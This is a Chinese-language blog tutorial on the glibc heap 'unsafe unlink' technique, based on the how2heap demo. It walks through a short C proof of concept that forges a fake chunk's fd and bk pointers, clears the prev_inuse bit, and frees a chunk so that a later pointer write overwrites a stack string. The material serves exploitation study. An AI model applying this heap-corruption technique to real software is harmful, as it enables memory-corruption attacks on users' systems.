unlink原理

how2heap---unlink原理

阅读之前,请先阅读wiki 中的unlink,正常人应该应该短时间理解不了,然后看本文


  • 首先精简一下代码,我还是认为精简代码,并通读理解比较舒服
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{

	int malloc_size = 0x80; // 变量  0x80
	int header_size = 2;   //变量 2

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0  size 0x80     其地址赋值给chunk_ptr
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1 0x80 其地址赋值给chunk1_ptr

	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);   //伪造 p->fd->bk = p
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);   //伪造 p->bk->fd = p
    //这里比较好理解,相信看wiki的朋友,都能理解,理解不了也没关系,看图一
    

	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	chunk1_hdr[0] = malloc_size;
	chunk1_hdr[1] &= ~1;
    
    //进一步伪造chunk,包括chunk_1的pre_chunk 、修改chunk_1的上一个chunk(就是chunk_0为free状态)
    //执行完成之后fake_chunk完成

	free(chunk1_ptr);
    //在这里,chunk1和fake_chunk合并
    
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
    
    
	chunk0_ptr[3] = (uint64_t) victim_string;   //讲栈上的地址赋值给fake_chunk的fd
	fprintf(stderr, "Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
    //修改chunk_ptr[0]的值 为自己想要的值    随后,栈空间就改变      //这里的原因在下会具体描述描述
    
	fprintf(stderr, "New Value: %s\n",victim_string);
}

f4254d4ef62e2e32a384b8ee689ec314.png

1f808289814e75cb550e57c6d3f923bf.png


为什么讲栈地址 chunk0_ptr[3] ,再次写入chunk0_ptr[0]会修改栈地址的值呢?

  • gdb调试会知道chunk0_plr[0] 其实就是我们伪造的fake_chunk地址
  • 但是现在fake_chunk是free状态,像chunk0_ptr[0],写入其实就是在向fake_chunk写入地址,而此时的fake_chunk,是free状态的,其fd,指向栈
    380b8bde85f41fe706e4d5240a468a27.png
    可以看到,chunk_ptr原来是指向chunk_0的,因为unlink直接指向fake_chunk的fd
posted @ 2020-03-21 11:52  zlisang  阅读(230)  评论(0)    收藏  举报